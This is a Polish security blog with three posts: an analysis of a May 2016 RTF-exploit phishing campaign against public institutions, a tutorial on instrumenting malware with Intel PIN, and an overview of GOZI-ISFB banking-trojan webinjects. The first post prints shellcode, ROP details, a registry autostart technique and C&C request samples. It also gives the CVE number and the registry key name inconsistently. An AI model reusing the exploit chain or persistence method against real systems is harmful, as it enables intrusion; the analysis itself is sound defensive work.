wtorek, 31 maja 2016

Analiza ataków z maja 2016 na instytucje publiczne.

Dokument został opracowany wspólnie przez: Zespół Prevenity, Zespół MSZ.

Od ubiegłego tygodnia trwają próby ataków ukierunkowanych na instytucje publiczne w Polsce. Do wiadomości email dołączane są dokumenty rtf wykorzystujące podatność w jednym z modułów pakietu Microsoft Office.

Przykładowe nazwy dokumentów to:
  • Putin_Is_Being_Pushed_to_Prepare_for_War.rtf
  • Russian anti-Nato troops.rtf
Osoby wysyłające podszywają się pod pracowników międzynarodowych instytucji wojskowych.
Po udanym ataku może być uruchomiony inny dokument rtf. W dokumencie są odnośniki do artykułów z połowy maja 2016.


Do instalacji złośliwego oprogramowania została wykorzystania podatność opisana w CVE-2015-1614. Na zainfekowanym komputerze zapisywane są dwie biblioteki dll:
  • C:\ProgramData\iprpp.dll
  • C:\Users\<username>\AppData\Roaming\amdcache.dll
W nietypowy sposób zrealizowana została funkcja automatycznego startu. Tworzony jest klucz rejestru HKCU\Software\Microsoft\Office test\Special\Pref\(default) ze wskazaniem na bibliotekę amdcache.dll. Amdcache.dll jest uruchamiany na krótki okres przy starcie aplikacji Microsoft Office. Jej celem jest uruchomienie drugiej biblioteki iprpp.dll.


Ta biblioteka jest odpowiedzialna między innymi za nawiązywanie połączeń z serwerem C&C.

Szczegółowe informacje

Otwierając dokument w edytorze szesnastkowym możemy zauważyć, że ładowany jest komponent ActiveX otkloader, który z kolei załaduje kolejną bibliotekę MSVCR71.DLL. MSVCR71 jest używany do ominięcia mechanizmu ASLR gdyż jest skompilowany bez wsparcia dla tej funkcji.


Więcej informacji o budowie pliku RTF uzyskamy odtwarzając obiekty OLE za pomocą narzędzia RTFscan.

2016-05-25  10:08             3 727 OLE_DOCUMENT__Putin_Is_Being_Pushed_to_Prepare_for_War.rtf__1.bin
2016-05-25  10:08           527 880 OLE_DOCUMENT__Putin_Is_Being_Pushed_to_Prepare_for_War.rtf__2.bin
2016-05-25  10:08            11 784 OLE_DOCUMENT__Putin_Is_Being_Pushed_to_Prepare_for_War.rtf__3.bin
2016-05-25  10:08             1 544 OLE_DOCUMENT__Putin_Is_Being_Pushed_to_Prepare_for_War.rtf__4.bin
2016-05-24  10:07         1 132 623 Putin_Is_Being_Pushed_to_Prepare_for_War.rtf


Zawartość obiektu nr 3 związana jest z podatnością w funkcji smart tag (CVE 2015-1641). Nadpisywanych jest kilka miejsc w pamięci zarezerwowanej na bibliotekę MSVCR71.dll co w efekcie powoduje nadpisanie wskaźnika do jednej z funkcji i przekazanie kontroli do kodu kontrolowanego przez intruza.


Więcej informacji dot. tej podatności można znaleźć tutaj [1].
Zawartość obiektu nr 2 związana jest ominięciem ASLR oraz dostarczeniem (heap spraying) i uruchomieniem złośliwego kodu.


Poniżej fragment zawartości pliku activeX2. Zawiera on gadżety ROP (zielona ramka) oraz pierwszy fragment shellcode.


Poniżej ostatnie wywołanie gadżetu ROP (7c32d20 - jmp esp). Następnie następuje wykonywanie kodu ze stosu (wcześniej wywołany jest VirtualAllocStub()) do zmiany uprawnień do pamięci w tryb RX).

0:006> r
eax=0b800000 ebx=00002000 ecx=0b800a84 edx=770370b4 esi=7c3415a3 edi=7c346c0b
eip=7c372d20 esp=0b800ae4 ebp=7c37a0a5 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
MSVCR71!atoldbl+0x444:
7c372d20 ffe4            jmp     esp {0b800ae4}

0:006> u esp L30
0b800ae4 31d2            xor     edx,edx
0b800ae6 668ccb          mov     bx,cs
0b800ae9 80fb23          cmp     bl,23h
0b800aec 7508            jne     0b800af6
0b800aee 31db            xor     ebx,ebx
0b800af0 53              push    ebx
0b800af1 53              push    ebx
0b800af2 53              push    ebx
0b800af3 53              push    ebx
0b800af4 b3c0            mov     bl,0C0h
0b800af6 81caffff0000    or      edx,0FFFFh
0b800afc 81c2910a0000    add     edx,0A91h
0b800b02 52              push    edx
0b800b03 80fbc0          cmp     bl,0C0h
0b800b06 743f            je      0b800b47
0b800b08 6a02            push    2
0b800b0a 58              pop     eax
0b800b0b cd2e            int     2Eh
0b800b0d 5a              pop     edx
0b800b0e 3c05            cmp     al,5
0b800b10 74e4            je      0b800af6
0b800b12 b890509050      mov     eax,50905090h
0b800b17 89d7            mov     edi,edx
0b800b19 af              scas    dword ptr es:[edi]
0b800b1a 75da            jne     0b800af6
0b800b1c af              scas    dword ptr es:[edi]
0b800b1d 75d7            jne     0b800af6


Jeden z fragmentów kodu (zaznaczony zielonym kolorem) odpowiada za identyfikacje w pamięci głównego kodu intruza. W eax umieszczana jest wartość 0x2 – funkcja systemowa NtAccessCheckAndAuditAlarm() następnie następuje przełączenie w tryb jądra. Poszukiwany kod jest oznaczony znacznikiem 0x50905090. Jest on umieszczany w pamięci przez obiekt activeX1.bin.
Poniżej jego fragment:


Kolejny fragment shellcode odpowiada za wywołanie VirtualAllocStub() a następnie skok bezwarunkowy to tego miejsca w pamięci.

0:006> u eip L20
0b800b1f 31c0            xor     eax,eax
0b800b21 31db            xor     ebx,ebx
0b800b23 0500100000      add     eax,1000h
0b800b28 80c340          add     bl,40h
0b800b2b 53              push    ebx
0b800b2c 50              push    eax
0b800b2d 31c0            xor     eax,eax
0b800b2f 0500500000      add     eax,5000h
0b800b34 50              push    eax
0b800b35 57              push    edi
0b800b36 ff1594a0377c    call    dword ptr [MSVCR71!ldexp+0x51a8 (7c37a094)]
0b800b3c b80000347c      mov     eax,offset MSVCR71 (7c340000)
0b800b41 50              push    eax
0b800b42 31c0            xor     eax,eax
0b800b44 50              push    eax
0b800b45 ffe7            jmp     edi
0b800b47 6a26            push    26h
0b800b49 58              pop     eax
0b800b4a 31c9            xor     ecx,ecx
0b800b4c 89e2            mov     edx,esp
0b800b4e 64ff13          call    dword ptr fs:[ebx]
0b800b51 59              pop     ecx
0b800b52 5a              pop     edx
0b800b53 ebb9            jmp     0b800b0e


Moment wywołania funkcji VirtualAllocStub(). Na stosie umieszczony jest adres pamięci zawierający kodu intruza załadowany z pliku activeX1.bin.

0:006> t
WARNING: Stack overflow detected. The unwound frames are extracted from outside normal stack bounds.
eax=00005000 ebx=00000040 ecx=0b800ae0 edx=05a00a90 esi=7c3415a3 edi=05a00a98
eip=0b800b36 esp=0b800ad4 ebp=7c37a0a5 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
0b800b36 ff1594a0377c    call    dword ptr [MSVCR71!ldexp+0x51a8 (7c37a094)] ds:0023:7c37a094={kernel32!VirtualAllocStub (75922fb6)}
WARNING: Stack overflow detected. The unwound frames are extracted from outside normal stack bounds.
0:006> dd esp L1
0b800ad4  05a00a98
0:006> u 5a00a98
05a00a98 55              push    ebp
05a00a99 8bec            mov     ebp,esp
05a00a9b 81ec580b0000    sub     esp,0B58h
05a00aa1 c745fc71020000  mov     dword ptr [ebp-4],271h
05a00aa8 c645984b        mov     byte ptr [ebp-68h],4Bh
05a00aac c6459945        mov     byte ptr [ebp-67h],45h
05a00ab0 c6459a52        mov     byte ptr [ebp-66h],52h
05a00ab4 c6459b4e        mov     byte ptr [ebp-65h],4Eh


Głównym zadaniem tego fragmentu kodu jest odszyfrowanie kolejnych komponentów oraz identyfikacja adresów „importowanych” funkcji API. Odszyfrowywane są 4 komponenty:

  • fragment odpowiadający za „wstrzykiwanie” bibliotek,
  • kod odpowiadający między innymi za zapisanie złośliwego kodu na dysku czy „instalację”,
  • dwie biblioteki które zostaną zapisane na dysku zainfekowanego komputera.

Na samym końcu kodu załadowanego z activeX1.bin następuje przekazanie do kolejnych - już odszyfrowanych komponentów (call edx).

seg000:05A018F4                 mov     ecx, [ebp-1Ch]
seg000:05A018F7                 mov     edx, [ecx+28h]
seg000:05A018FA                 add     edx, [ebp-10h]
seg000:05A018FD                 call    edx
seg000:05A018FF                 xor     eax, eax
seg000:05A01901
seg000:05A01901 loc_5A01901:                            ; CODE XREF: seg000:05A0152B
seg000:05A01901                                         ; seg000:05A01592
seg000:05A01901                 mov     esp, ebp
seg000:05A01903                 pop     ebp
seg000:05A01904                 retn


W chwili zapisu danych na dysku możemy skopiować wszystkie odkodowane elementy. Nie wszystkie komponenty są zapisywane na dysku.

0:006> !address
Building memory map: 00000000Building memory map: 00010000
Mapping file section regions...
Mapping module regions...
Mapping PEB regions...
Mapping TEB and stack regions...
WARNING: Stack overflow detected. The unwound frames are extracted from outside normal stack bounds.
Mapping heap regions...
WARNING: Stack overflow detected. The unwound frames are extracted from outside normal stack bounds.
Mapping page heap regions...

7c391000 7c395000     4000 MEM_IMAGE   MEM_COMMIT  PAGE_READONLY                      Image      [MSVCR71; "C:\Program Files\Microsoft Office\Office12\ADDINS\MSVCR71.dll"]
+ 7c395000 7f6f0000  335b000             MEM_FREE    PAGE_NOACCESS                      Free      
+ 7f6f0000 7f6f5000     5000 MEM_MAPPED  MEM_COMMIT  PAGE_READONLY                      Other      [Read Only Shared Memory]
  7f6f5000 7f7f0000    fb000 MEM_MAPPED  MEM_RESERVE                                    MappedFile "PageFile"
+ 7f7f0000 7ff10000   720000             MEM_FREE    PAGE_NOACCESS                      Free      
+ 7ff10000 7ff33000    23000 MEM_PRIVATE MEM_COMMIT  PAGE_EXECUTE_READWRITE             <unknown>  [MZ..............]
+ 7ff33000 7ff40000     d000             MEM_FREE    PAGE_NOACCESS                      Free      
+ 7ff40000 7ff60000    20000 MEM_PRIVATE MEM_COMMIT  PAGE_EXECUTE_READWRITE             <unknown>  [U.........E.K.E.]
+ 7ff60000 7ffa9000    49000 MEM_PRIVATE MEM_COMMIT  PAGE_EXECUTE_READWRITE             <unknown>  [MZ..............]

+ 7ffa9000 7ffb0000     7000             MEM_FREE    PAGE_NOACCESS                      Free      
+ 7ffb0000 7ffd3000    23000 MEM_MAPPED  MEM_COMMIT  PAGE_READONLY                      Other      [NLS Tables]
+ 7ffd3000 7ffd5000     2000             MEM_FREE    PAGE_NOACCESS                      Free      
+ 7ffd5000 7ffd6000     1000 MEM_PRIVATE MEM_COMMIT  PAGE_READWRITE                     PEB        [8f8]
+ 7ffd6000 7ffd7000     1000             MEM_FREE    PAGE_NOACCESS                      Free      
+ 7ffd7000 7ffd8000     1000 MEM_PRIVATE MEM_COMMIT  PAGE_READWRITE                     TEB        [~5; 8f8.7b8]
+ 7ffd8000 7ffd9000     1000 MEM_PRIVATE MEM_COMMIT  PAGE_READWRITE                     TEB        [~8; 8f8.b08]

W zaznaczonych obszarach pamięci możemy znaleźć charakterystycznie ciągi znaków (injector.exe czy fast_joiner.dll):


Podczas analizy okazało się, że w zarezerwowanych obszarach pamięci znajdował się kolejny plik rtf, który miał być otworzony po zakończeniu udanego ataku. W naszym środowisku testowym ten plik nie był automatycznie otwierany.


Już wspominaliśmy, że w nietypowy sposób został rozwiązany autostart poprzez rejestrację biblioteki. Poniżej fragment funkcji zapisującej dwie biblioteki na dysk.

.text:10001D95                 mov     word ptr ds:7FF26730h, 5A4Dh
.text:10001D9E                 call    dword ptr ds:7FF1601Ch ; //CreateFileW()
.text:10001DA4                 mov     ebx, eax
.text:10001DA6                 cmp     ebx, 0FFFFFFFFh
.text:10001DA9                 jz      short loc_10001D47
.text:10001DAB                 push    0
.text:10001DAD                 lea     eax, [ebp+var_4]
.text:10001DB0                 push    eax
.text:10001DB1                 push    8400h
.text:10001DB6                 push    7FF26730h
.text:10001DBB                 push    ebx
.text:10001DBC                 mov     [ebp+var_4], 0
.text:10001DC3                 call    dword ptr ds:7FF16018h ; //WriteFile()
.text:10001DC9                 push    ebx
.text:10001DCA                 call    dword ptr ds:7FF16024h ; //CloseHandle()
.text:10001DD0                 push    esi
.text:10001DD1                 mov     esi, ds:7FF16030h


Następnie tworzony jest klucz rejestru i zapisywana jest wartość będąca ścieżką do pliku amdcache.dll.

0:006> r
eax=00000000 ebx=7ff10000 ecx=0b7fe898 edx=00000768 esi=00000001 edi=00000000
eip=7ff11044 esp=0b7fe874 ebp=0b7fe8a0 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
7ff11044 ff150060f17f    call    dword ptr ds:[7FF16000h] ds:0023:7ff16000={ADVAPI32!RegCreateKeyExW (75fd40fe)}
0:006> du poi(esp+4)
7ff17ff0  "Office test\Special\Perf"

0:006> r
eax=0000005c ebx=7ff10000 ecx=000005b8 edx=05f0249a esi=05f02498 edi=75934be7
eip=7ff110b0 esp=0b7fe878 ebp=0b7fe8a0 iopl=0         nv up ei pl nz ac pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000216
7ff110b0 ff150460f17f    call    dword ptr ds:[7FF16004h] ds:0023:7ff16004={ADVAPI32!RegSetValueExW (75fd14d6)}
0:006> du poi(esp+10)
05f02498  "C:\Users\(username)\AppData\Roamin"
05f024d8  "g\amdcache.dll"


Rolą pliku amdcache.dll jest załadowanie biblioteki iprpp.dll do uruchamianego procesu (np. excel.exe). Większość ciągów znaków jest przechowywana w formie zakodowanej. Funkcja odkodowująca znaki jest pokazana poniżej i bazuje na operacji XOR.

Po uruchomieniu DLL odkodowywany i tworzony jest mutex o wartości: ”513AbTAsEpcq4mf6TEacB. Sprawdzane jest również połączenie do sieci Internet poprzez wysłanie zapytania GET na adres google.com.

POST /no/W/VU.xml/?a=a1BnFne39H1x9LhKVc+Cd0+2+V9k9fA= HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
Host: google.com
Content-Length: 0
Cache-Control: no-cache
Connection: close


Część parametrów jest generowana losowo a wszystkie dane przed wysłaniem są konwertowane za pomocą funkcji CryptBinaryToString().

Na adres serwera C&C wysyłana jest wstępna informacja (pozwalająca na klasyfikację) o zainfekowanym hoście. Oprócz wersji malware przesyłane są informacje o wszystkich działających procesach oraz dysku. Poniżej przykładowe wiadomości przez zakodowaniem.


Powyższa zawartość jest kodowana za pomocą tej funkcji:






Informacje o plikach:

File:     plik z załącznika.rtf
Size:    1132623
MD5:   3F44A0F1D746CB99AB0321E73133ECAE

File:     iprpp.dll
Size:    33792
MD5:  21D63E99ED7DCD8BAEC74E6CE65C9EF3

File:     amdcache.dll
Size:    52224
MD5:   1219318522FA28252368F58F36820AC2

File:     ukryty.rtf
Size:    84532
MD5:   BF31F448712FEADDB05D9970B64A4A2B

Źródła:
[1] https://blog.fortinet.com/2015/08/20/the-curious-case-of-the-document-exploiting-an-unknown-vulnerability-part-1
[2] OfficeMalScanner http://www.reconstructer.org/code.html
[3] Informacje na temat zastosowanej techniki omijania ASLR https://www.nccgroup.trust/globalassets/our-research/uk/whitepapers/2015/10/understanding-microsoft-word-ole-exploit-primitives-exploiting-cve-2015-1642pdf/

wtorek, 17 maja 2016

Analiza malware z wykorzystaniem DBI

Na naszym portalu nie mogło zabraknąć informacji o narzędziu PIN [1]. PIN to framework do wykonywania instrumentacji programów. Jest to technika polegająca na wstrzykiwaniu do analizowanego kodu instrukcji monitorujących. W efekcie możemy precyzyjnie śledzić wykonywane instrukcje przez program. PIN jest rozwijany przez firmę Intel.
 
W niniejszym artykule pokażemy kilka przykładów wykorzystania jego możliwości. Dla osób, które pierwszy raz czytają o instrumentacji programów, możliwości dobrze zobrazuje przykład dostarczany razem z pakietem PIN a opisany szczegółowo tutaj [2].

D:\pin.exe –t inscount0.dll - - notepad.exe
D:\type inscount.out
Count 13635480

PIN "wstrzykuje" do tworzonego procesu (notepad.exe) bibliotekę inscount0.dll. Jej celem jest zliczenie wykonywanych instrukcji notepad.exe. Jest to analiza dynamiczna co oznacza, że zliczane są instrukcje wykonane przez program notepad.exe. Kod modułu dll jest prosty. Kluczowe jest wywołanie funkcji INS_InsertCall(ins, IPOINT_BEFORE, (AFUNPTR)docount, IARG_END). Powoduje ona że narzędzie PIN przed wykonaniem każdej instrukcji analizowanego programu (IPOINT_BEFORE) wywoła funkcję docount() - VOID docount() { icount++; }.

Analiza złośliwego oprogramowania za pomocą PIN pozwala nam między innymi na:
  • Identyfikację i przechwytywanie funkcji wewnętrznych malware (nie tylko systemowych funkcji API),
  • Monitorowanie wywołań systemowych (syscall),
  • Sprawniejszą analizę złośliwego kodu, który ma zaimplementowane mechanizmy obfuskacji
W celu pokazania wybranych funkcji PIN użyjemy prostego programu, który zapisuje na dysku plik z danymi. Następnie z pomocą narzędzia PIN będziemy monitorowali i próbowali przechwycić istotne dane.

Podobnie jak w przypadku pierwszego przykładu w main naszej biblioteki użyjemy funkcji INS_AddInstrumentationFunction(funkcja, NULL), która inicjuje tryb śledzenia na poziomie pojedynczych instrukcji – INS_(inne poziomy to image, routine oraz trace). Poniżej przykładowa zawartość main() rejestrująca funkcję – InsCall().

int main(int argc, char *argv[])
{
    if (PIN_Init(argc, argv))
        return -1;

    OutFile.open(KnobOutputFile.Value().c_str());
    INS_AddInstrumentFunction(InsCall, NULL);
    PIN_AddFiniFunction(Fini, 0);
    PIN_StartProgram();
    return 0;
}


W poniższej funkcji InsCall funkcja PIN - INS_IsCall() zwraca true gdy instrukcja jest instrukcją CALL. Wtedy przed nią wywoływana funkcja przygotowana przez nas - CallCallback. Przekazywane są do niej dwa argumenty: IARG_INST_PTR – adres instrukcji CALL oraz IARG_BRANCH_TARGET_ADDR – adres funkcji wywoływanej.

void InsCall(INS ins, void * v)
{
    if (INS_IsCall(ins)) {
        INS_InsertCall(ins,
            IPOINT_BEFORE,
            (AFUNPTR)CallCallback,
            IARG_INST_PTR,
            IARG_BRANCH_TARGET_ADDR,
            IARG_END);
    }
}


Wiemy już, że CallCallback będzie wywołany przed każdą instrukcją CALL. Argument target_address jest użyty do wyszukania nazwy funkcji wywoływanej za pomocą CALL. RTN_FindByAddress zwraca uchwyt a RTN_Name nazwę funkcji. Dodatkowo funkcja PIN_UndecorateSymbolName przetworzy nazwę wygenerowaną przez kompilator na bardziej czytelną (np. @funkcja_test@12 na funkcja_test). 

void CallCallback(ADDRINT instruction_address, ADDRINT target_address)
{
    PIN_LockClient();
    RTN rtn = RTN_FindByAddress(target_address);
    if (RTN_Valid(rtn)) {
        string symbolName = RTN_Name(rtn);
        symbolName = PIN_UndecorateSymbolName(symbolName, UNDECORATION_COMPLETE);
        OutFile << hex << instruction_address << " -> " << symbolName << endl;
    }
    else {
        OutFile << hex << instruction_address << " -> " << target_address << endl;
}
    PIN_UnlockClient();
}


W efekcie otrzymamy wynik zbliżony do poniższego (fragment po prawej stronie). Po lewej stronie mamy fragment kodu monitorowanego programu do porównania – w tym funkcję CreateFile (ze względu na ASLR adresy się różnią). Pamiętamy, że funkcja CallCallback wywoływana jest za każdym razem gdy PIN napotka instrukcje CALL. Wynik to odtworzona ścieżka działania analizowanego programu (w tym większość to funkcje systemowe). Uzupełniając nasz moduł o zapisywanie wartości argumentów funkcji oraz mechanizmy kopiowania niektórych obszarów danych (np. tych rezerwowanych przez analizowany program) możemy uzyskać bardzo wiele informacji o działaniu malware.
W kolejnym przykładzie zajmiemy się zapisywaniem wartości argumentów. Załóżmy, że istotna jest funkcja API CreateFile z nazwą pliku oraz funkcja API WriteFile z adresem zawartości do zapisu oraz ilością bajtów do zapisu.
Mimo że INS_AddInstrumentFunction() oferuje bardzo szczegółowe monitorowanie (ale duży spadek wydajności) teraz wystarczy nam szczegółowość analizy na poziomie Image – obrazu załadowanego programu. W main użyjemy funkcji IMG_AddInstrumentFunction(ApiCallCallback, NULL) wywoływanej w momencie załadowania modułu do pamięci. W celu dostępu do symboli ważne jest zastosowanie PIN_InitSymbols(). Poniżej przykładowa zawartość wywoływanej funkcji ApiCallCallback(). 
W celu wywołania naszych funkcji (przedrostek my_)przed konkretnymi funkcjami API – poniżej CreateFileA|CreateFileW użyjemy RTN_FindByName(). Do naszych funkcji przekazujemy dwie wartości: nazwę funkcji oraz pierwszy argument z funkcji (jest to nazwa tworzonego pliku).

void ApiCallCallback(IMG img, void * v)
{
    if (img == IMG_Invalid())
        return;

    RTN rtn;
    rtn = RTN_FindByName(img, "CreateFileW");
    if (RTN_Valid(rtn)) {
        RTN_Open(rtn);
        RTN_InsertCall(rtn, IPOINT_BEFORE,
            (AFUNPTR)my_CreateFileW,
            IARG_ADDRINT, "CreateFileW",
            IARG_FUNCARG_ENTRYPOINT_VALUE, 0,
            IARG_END);
        RTN_Close(rtn);
    }
    rtn = RTN_FindByName(img, "CreateFileA");
    if (RTN_Valid(rtn)) {
        RTN_Open(rtn);
        RTN_InsertCall(rtn, IPOINT_BEFORE,
            (AFUNPTR)my_CreateFileA,
            IARG_ADDRINT, "CreateFileA",
            IARG_FUNCARG_ENTRYPOINT_VALUE, 0,
            IARG_END);
        RTN_Close(rtn);
    }
}


W przypadku wersji unicode funkcji API CreateFile zawartość my_CreateFileW może wyglądać tak:

VOID my_CreateFileW(CHAR * apiname, wchar_t * filename)
{
    wstring ws(filename);
    string str(ws.begin(), ws.end());
    OutFile << apiname << "(" << str << ")" << endl;

}

Po uruchomieniu narzędzia (pin.exe -t apimonitor01.dll -- malware.exe) otrzymany następujący wynik:

WriteFile (2740128 2)
CreateFileW(plik.txt)
CreateFileW(plik.txt)
WriteFile (2740120 34)
WriteFile (2750844 44)
WriteFile (2750844 44)
WriteFile (2740120 45)

Nazwy niektórych funkcji (np. CreateFileW) występują dwa razy i jest to poprawne działanie. Wynika to z tego, że ta nazwa jest eksportowana przez kernel32.dll oraz kernelbase.dll.

Kolejny przykład dotyczy kopiowania argumentów wywoływanej funkcji za pomocą rejestru. Na platformie 32-bitowej Windows wszystkie argumenty funkcji są odkładane na stos a następnie wykonywana jest instrukcja CALL. Przy obsłudze funkcji WriteFile możemy zauważyć, że przekazujemy zawartość rejestru ESP (góry stosu). Kolejny fragment ApiCallCallback():

rtn = RTN_FindByName(img, "WriteFile");
    if (RTN_Valid(rtn)) {
        RTN_Open(rtn);
        RTN_InsertCall(rtn,
            IPOINT_BEFORE,
            (AFUNPTR)&WriteFileDump,
            IARG_REG_VALUE, REG_ESP,
            IARG_END);
        RTN_Close(rtn);
    }


Za pomocą PIN_SafeCopy możemy skopiować poszczególne wartości argumentów bezpośrednio ze stosu. Należy też pamiętać o stosowanym sposobie wywoływania (calling conventions). Poniższy przykład pokazuje też jak uzyskać dostęp do danych zapisywanych przez monitorowaną aplikację.

VOID WriteFileDump(ADDRINT esp)
{
    ADDRINT base_address;
    ADDRINT length;
   
    PIN_SafeCopy(&base_address, (ADDRINT *)(esp + 0x8), sizeof(ADDRINT));
    PIN_SafeCopy(&length, (ADDRINT *)(esp + 0xC), sizeof(ADDRINT));
   
    OutFile << "WriteFile " << "(" << base_address << " " << length << ")" << endl;
    

    char * tab_dst = (char *)malloc(length);
    memcpy(tab_dst, (const void *) base_address, length);
    destinationfile = fopen("wynikplik.txt", "a+b");
    fwrite(tab_dst, length, 1, destinationfile);
    fclose(destinationfile);
}


Opisane powyżej monitorowanie funkcji API nie zawsze jest skutecznie. Złośliwe oprogramowanie może skopiować fragment oryginalnej funkcji w celu oszukania narzędzi monitorujących. Może też wywoływać funkcje systemowe bezpośrednio z biblioteki ntdll.dll. Kolejną wadą jest to, że należy przechwytywać wiele funkcji związanych z zapisem danych.

Poniżej znajduje się fragment jednej z funkcji systemu Windows, która jest wywoływana przed przełączeniem w tryb uprzywilejowany. Kluczowa jest wartość przenoszona do rejestru EAX. To numer funkcji systemowej (dla Windows 7 SP1 NtWriteFile), która zostanie wywołana z poziomu jądra systemu operacyjnego. 

ntdll.dll:77D300C4 mov     eax, 5h
ntdll.dll:77D300C9 xor     ecx, 1Ah
ntdll.dll:77D300CB lea     edx, [esp+4]
ntdll.dll:77D300CF call    large dword ptr fs:0C0h
ntdll.dll:77D300D6 add     esp, 4
ntdll.dll:77D300D9 retn    24h

Narzędzie PIN za pomocą między innymi funkcji PIN_AddSyscallEntryFunction() i PIN_AddSyscallEntryFunction() umożliwia nam wywoływanie naszego kodu przed lub po wywołaniu funkcji systemowej.

Poniżej fragment main, gdzie rejestrujemy naszą funkcję syscall_entry wywoływaną przed każdą funkcją systemową:

PIN_AddSyscallEntryFunction(&syscall_entry, NULL);

W funkcji syscall_entry najpierw sprawdzamy numer funkcji systemowej PIN_GetSyscallNumber. Następnie za pomocą PIN_GetSyscallArgument kopiujemy argument 5 i 6 licząc od zera czyli Buffer oraz Length.  Mając te dwie wartości możemy skopiować zawartość bufora do pliku.

Dla przypomnienia opis zawartości argumentów funkcji [3]:

NTSTATUS ZwWriteFile(
  _In_     HANDLE           FileHandle,
  _In_opt_ HANDLE           Event,
  _In_opt_ PIO_APC_ROUTINE  ApcRoutine,
  _In_opt_ PVOID            ApcContext,
  _Out_    PIO_STATUS_BLOCK IoStatusBlock,
  _In_     PVOID            Buffer, (5)
  _In_     ULONG            Length, (6)
  _In_opt_ PLARGE_INTEGER   ByteOffset,
  _In_opt_ PULONG           Key
);


void syscall_entry(THREADID thread_id, CONTEXT *ctx, SYSCALL_STANDARD std, void *v)
{
   
    if (PIN_GetSyscallNumber(ctx, std) == 5){
   
        ADDRINT base_address = PIN_GetSyscallArgument(ctx, std, 5);
        ADDRINT length = PIN_GetSyscallArgument(ctx, std, 6);

        PIN_GetLock(&lock, thread_id + 1);

        char * tab_dst = (char *)malloc(length);
        memcpy(tab_dst, (const void *)base_address, length);
        fwrite(tab_dst, length, 1, g_file);
        fclose(g_file);

        PIN_ReleaseLock(&lock);
    }
}


Przykład, jak zaimplementować automatycznie przeszukiwanie nazw funkcji systemowy znajduje się tutaj [4].

W najbliższym czasie kilka przykładów zastosowania PIN umieścimy na portalu GitHub.

Źródła:

[1] https://software.intel.com/en-us/articles/pin-a-dynamic-binary-instrumentation-tool
[2] https://software.intel.com/sites/landingpage/pintool/docs/65163/Pin/html/
[3] https://msdn.microsoft.com/en-us/library/windows/hardware/ff567121%28v=vs.85%29.aspx
[4] https://github.com/jbremer/godware/blob/master/godware.cpp
[5] http://jbremer.org/malware-unpacking-level-pintool/
[6] http://tfpwn.com/blog/writing-tools-with-pin.html
[7] https://msdn.microsoft.com/en-us/magazine/dn818497.aspx 



sobota, 7 maja 2016

Webinject w "trojanach bankowych"

Pod koniec kwietnia dużą sensację wzbudziła informacja [1] dotycząca ataków na klientów prawie wszystkich banków w Polsce w tym banków spółdzielczych. W jednym z wariantów ataków, które są regularnie przeprowadzane od drugiej połowy ubiegłego roku zostało wykorzystane złośliwe oprogramowanie bazujące na dwóch innych typach złośliwego oprogramowania. Pierwszym z nich jest GOZI-ISFB wykorzystywany do „kradzieży poufnych danych”. Drugim Nymaim, który jest wykorzystywany jako dropper. Sam Nymaim jest bardzo ciekawy ze względu na wykorzystywanie wielu technik utrudniających analizę. Wg tego źródła [2] jak na razie nie ma możliwości jego poprawnej analizy w środowiskach sandbox. 

Z kolei wzmożone ataki (w tym w Polsce opisywane tutaj [3]) za pomocą GOZI-ISFB spowodowane są wyciekiem w ubiegłym roku kodu źródłowego.

GOZI-ISFB podobnie jak złośliwe oprogramowanie z innej rodziny „trojanów bankowych” wykorzystuje technikę webinject. Możliwości malware (związane z funkcją webinject dla Internet Explorer, Firefox oraz Chrome) są następujące:
  1. Podmiana fragmentu strony. Tutaj można dodać nowe pola lub wstrzyknąć kod javascript (może być odwołanie do zewnętrznej strony).
  2. Grab –wyszukuje i kopiuje fragment strony.
  3. Full replace – podmiana URL, również w treści zwracanej strony.
  4. Post params – przechwytywanie wybranych parametrów przesyłanych w żądaniach POST.
  5. Hidden – blokowanie dostępu do stron.
  6. GetURL – przekierowanie całego żądania z parametrami na inną stronę.
Inne funkcje malware niezwiązane bezpośrednio z webinject (ale przydatne przy kradzieży środków z konta bankowego) to:
  •  Tworzenie zrzutów z ekranu
  •  Nagrywania wideo
  •  Aktywacja serwera SOCKS
  •  Aktywacja serwera VNC
  •  Wyszukiwanie plików
Pliki konfiguracyjne są kompresowane za pomocą ApLib a następnie szyfrowane i podpisywany z pomocą algorytmu RSA. W ten sam sposób przesyłane są komendy do klienta. Klient ma zaszyty klucz publiczny.

Komunikacja sieciowa jest dodatkowo szyfrowana za pomocą algorytmu Serpent w trybie CBC.  Poniżej przykład takiego zapytania GET. Klucz można odczytać z pamięci procesu explorer.exe (lub innego zdefiniowanego przy kompilacji) lub procesów zainfekowanej przeglądarki internetowej.


Webinject (w przypadku przeglądarki Internet Explorer) nie będzie działał bez przechwycenia funkcji API biblioteki wininet.dll. GOZI-ISFB modyfikuje tablice import lub export (IAT/EAT) procesów przeglądarek do przejęcia kontroli nad wybranymi funkcjami API. Najważniejsze funkcje służące do manipulacji wysyłanymi żądaniami i odbieranymi odpowiedziami to: HttpSendRequest oraz InternetReadFile. 

Funkcja HttpSendRequest wywoływania jest w momencie wysyłania żądania do serwera przez przeglądarkę. Poniższy fragment kodu podmienionej funkcji może zablokować dostęp do wywoływanego URL (zakładka Hidden). Parametry lpOptional oraz dwOptionalLength oznaczają, że jest to żądanie POST lub PUT i jest to sygnał, że można przechwycić parametry zdefiniowane w zakładce konfiguratora malware Post params. 


Funkcja InternetReadFile odczytuje dane otrzymane z serwera. Poniższy fragment kodu wywołuje funkcję malware GetPageContext(), która z kolei wywoła IeReplaceStream() gdy będzie w konfiguracji zdefiniowana zakładka Replace.


Inna przechwytywana funkcja to HttpQueryInfo – ona z kolei użyta jest to przekierowania na inną stronę (aktywna zakładka Full replace).

